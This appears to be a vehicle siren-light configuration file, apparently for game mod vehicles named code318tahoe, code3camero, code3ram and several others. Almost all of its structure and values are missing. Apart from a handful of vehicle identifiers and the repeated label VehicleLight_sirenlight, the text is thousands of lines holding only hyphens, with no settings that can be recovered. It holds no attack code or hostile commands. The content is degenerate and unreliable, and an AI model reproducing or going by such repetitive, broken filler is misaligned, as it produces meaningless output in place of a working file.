-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code310charg
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code318tahoe
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code318tahoek9
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code314tahoe
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3gator
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3trailer2
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3camero
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3mustang
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3ram
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
